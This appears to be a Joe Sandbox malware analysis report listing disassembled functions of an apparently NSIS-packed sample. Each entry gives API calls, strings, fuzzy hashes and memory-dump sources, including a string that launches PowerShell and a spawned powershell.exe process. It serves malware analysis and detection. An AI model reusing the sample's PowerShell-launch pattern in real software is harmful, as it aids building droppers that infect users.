Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 03a5a3f6320495704c05688f871147bbc72281edf72c00ac350c423d14e02ca6
Instruction ID: 7dc8c05146b407601171e0863837a653734e4b001a2a5e69b47689ac9694c0d9
Opcode Fuzzy Hash: 03a5a3f6320495704c05688f871147bbc72281edf72c00ac350c423d14e02ca6
Instruction Fuzzy Hash: 3121C171C00124BBDF216FA5DE49D9E7E79AF04364F10023AF964762E1CB794D419BA8

Function 00404D3F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE0
wsprintfW.USER32 ref: 00404DE9
SetDlgItemTextW.USER32(?,00423748), ref: 00404DFC

Strings

%u.%u%s%s, xrefs: 00404DCA
H7B, xrefs: 00404DD2

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: afb352a5ceb1d4586ea2fc8411844f54738b02514fb4fb2e587bb31c0291c273
Instruction ID: 1eef4f6c404c38b42470a280790990b5f635bff36f5ff3debe150acb3f73a003
Opcode Fuzzy Hash: afb352a5ceb1d4586ea2fc8411844f54738b02514fb4fb2e587bb31c0291c273
Instruction Fuzzy Hash: 59110873A0412837DB0065ADAC45EDE32989F81374F250237FE26F20D5EA78CD1182E8

Function 00402E41 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402E95
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402EE1
RegCloseKey.ADVAPI32(?,?,?), ref: 00402EEA
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F01
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F0C

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: f62ab79c521e370d5556569303502529bbab9984cd7072d733bebeae98d4866a
Instruction ID: 5acf5ff44325b65ef2d3dead3dbb76990f04c91a4d0d8f72c78c18ffef5b4167
Opcode Fuzzy Hash: f62ab79c521e370d5556569303502529bbab9984cd7072d733bebeae98d4866a
Instruction Fuzzy Hash: 05215A71500109BBDF129F90CE89EEF7A7DEB54348F110076B905B11E0E7B48E54AAA8

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 657c18a0f69634810084f7808af5fab3a58a396e011c15f602512883127771f4
Instruction ID: def1b01f8fd4f78887aa18ea50614605241407c0d84dd339e733dcfbebc98a92
Opcode Fuzzy Hash: 657c18a0f69634810084f7808af5fab3a58a396e011c15f602512883127771f4
Instruction Fuzzy Hash: 06212672A04119AFCB05CFA4DE45AEEBBB5EF08304F14403AF945F62A0C7389D51DB98

Function 00405E11 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004035C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405E17
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004035C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405E21
lstrcatW.KERNEL32(?,0040A014,?,00000007,00000009,0000000B), ref: 00405E33

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E11

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction ID: be8ecf20d8ded769d30575e1df7d92fadfde1fb70814d4249ac81525444b4036
Opcode Fuzzy Hash: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction Fuzzy Hash: 4DD0A7311029347AC2117B489C08CDF62ACAE96300341043BF142B30A4C77C5E5287FD

Function 00402636 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(open "powershell.exe"), ref: 0040268D

Strings

Forkynders\baskets\acylate, xrefs: 0040267B
open "powershell.exe", xrefs: 00402651, 00402676, 00402688, 004026D4

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: lstrlen
String ID: Forkynders\baskets\acylate$open "powershell.exe"
API String ID: 1659193697-3788940404
Opcode ID: c0e9709f4414c123a9561e1ba197458eec5955b960e9bcf0ffe45126c9858767
Instruction ID: 5d79e66603f7cd29b77c79f3cf3d62822218e64012773efd3f53c153c7218f52
Opcode Fuzzy Hash: c0e9709f4414c123a9561e1ba197458eec5955b960e9bcf0ffe45126c9858767
Instruction Fuzzy Hash: EC112772A40204ABCB00AFB18E4EA9E73719F54708F21443FE402B61C1EAFD8991561F

Function 00405F19 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

Part of subcall function 00405EBC: CharNextW.USER32(?,?,00425F50,?,00405F30,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0,00000000), ref: 00405ECA
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405ECF
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405EE7

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0,00000000), ref: 00405F72
GetFileAttributesW.KERNEL32(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0), ref: 00405F82

Strings

P_B, xrefs: 00405F1F

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: 599bd04a1195b132cf6b260ce9cfa8fb39e22d36c0f4a850b99e9cc2c8b8c615
Instruction ID: 859fcd89679448da631e779a0da4808ed27405fda231041bc00783fb73730a7b
Opcode Fuzzy Hash: 599bd04a1195b132cf6b260ce9cfa8fb39e22d36c0f4a850b99e9cc2c8b8c615
Instruction Fuzzy Hash: 5DF0F925115D2325D722333A5D09AAF1544CF92358B49013FF895F22C1DA3C8A13CDBE

Function 00405518 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405547
CallWindowProcW.USER32(?,?,?,?), ref: 00405598

Part of subcall function 004044DE: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F0

Strings

, xrefs: 00405528

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: e2a7228699b6e9b249c6dba5f8e9bb0c65ec33a27f8289b454cb53322165a19e
Instruction ID: 7ed895885fecbfe1028844bafe119d46ede1b6e58bfeef0b35ccd3d75cf6e938
Opcode Fuzzy Hash: e2a7228699b6e9b249c6dba5f8e9bb0c65ec33a27f8289b454cb53322165a19e
Instruction Fuzzy Hash: E60171B1200648BFDF208F11DD80A6B7726EB84755F244537FA007A1D4C77A8E529E59

Function 00405E5D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,004030D4,C:\Users\user\Desktop,C:\Users\user\Desktop,00438800,00438800,80000000,00000003), ref: 00405E63
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,004030D4,C:\Users\user\Desktop,C:\Users\user\Desktop,00438800,00438800,80000000,00000003), ref: 00405E73

Strings

C:\Users\user\Desktop, xrefs: 00405E5D

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
Instruction ID: 42216084ebed45f2f1fcdcce66f7b00f69915d90115442600aae12f46dcfca4c
Opcode Fuzzy Hash: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
Instruction Fuzzy Hash: 65D05EB2401D209AC3226718DD04DAF73ACEF5134074A482AE582A61A4D7785E8186E8

Function 00405F97 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA7
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FBF
CharNextA.USER32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD0
lstrlenA.KERNEL32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD9

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: a453383ccec69260e8b6b46741f5159dab33bedf04c15e844a7af63cc501478c
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 02F06235105418EFD7029BA5DD40D9EBBA8DF06350B2540BAE840F7350D678DE01ABA9

Analysis Process: powershell.exePID: 7372, Parent PID: 7336COMMON

Executed Functions

Function 072CCFFE Relevance: 64.3, Strings: 50, Instructions: 1844COMMON

Download Yara Rule

Strings

(fDl, xrefs: 072CE2AE
-5k, xrefs: 072CCF67
(fDl, xrefs: 072CCE35
(fDl, xrefs: 072CE2C4
(fDl, xrefs: 072CEB36
tL6k, xrefs: 072CC923
(fDl, xrefs: 072CD398
(fDl, xrefs: 072CD618
(fDl, xrefs: 072CD7A0
-5k, xrefs: 072CDD45
(fDl, xrefs: 072CCA39
(fDl, xrefs: 072CD669
(fDl, xrefs: 072CD465
(fDl, xrefs: 072CE8C0
x.5k, xrefs: 072CDCF4
(fDl, xrefs: 072CD4CE
(fDl, xrefs: 072CE764
(fDl, xrefs: 072CE5C4
(fDl, xrefs: 072CDB25
x.5k, xrefs: 072CCF19
(fDl, xrefs: 072CD406
(fDl, xrefs: 072CC943
(fDl, xrefs: 072CD705
x.5k, xrefs: 072CE9DD
4'tq, xrefs: 072CD9E4
tL6k, xrefs: 072CD0B8
(fDl, xrefs: 072CD7FE
4Al, xrefs: 072CE312
4'tq, xrefs: 072CD9D8
tL6k, xrefs: 072CE422
(fDl, xrefs: 072CE8D6
(fDl, xrefs: 072CE3D2
(fDl, xrefs: 072CE3BC
(fDl, xrefs: 072CD1F1
(fDl, xrefs: 072CCDCF
(fDl, xrefs: 072CDB80
4'tq, xrefs: 072CE4A9
(fDl, xrefs: 072CE5B4
(fDl, xrefs: 072CDA8F
(fDl, xrefs: 072CEB4C
4'tq, xrefs: 072CCCE6
(fDl, xrefs: 072CCB09
(fDl, xrefs: 072CD0D8
(fDl, xrefs: 072CE74E
tL6k, xrefs: 072CD02B
4'tq, xrefs: 072CCC42
tL6k, xrefs: 072CCA19
4Al, xrefs: 072CE2FC
(fDl, xrefs: 072CD27F
tL6k, xrefs: 072CD4AC

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$4'tq$4'tq$4'tq$4'tq$4'tq$4Al$4Al$tL6k$tL6k$tL6k$tL6k$tL6k$tL6k$x.5k$x.5k$x.5k$-5k$-5k
API String ID: 0-1515602180
Opcode ID: 74150c2635995e16af2e634458a91098fa5f03be9a2cc7cfb56bfb14636071f3
Instruction ID: 67356e99119e9dc052c78a053d266d205743cc5e472c6a5ebb126cb2e322ff20
Opcode Fuzzy Hash: 74150c2635995e16af2e634458a91098fa5f03be9a2cc7cfb56bfb14636071f3
Instruction Fuzzy Hash: 82036FB4E10215DFEB20DB68C951FAABBB2EF85304F2185A9D8096B744CB35ED81CF51

Function 00B0F348 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2039795604.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

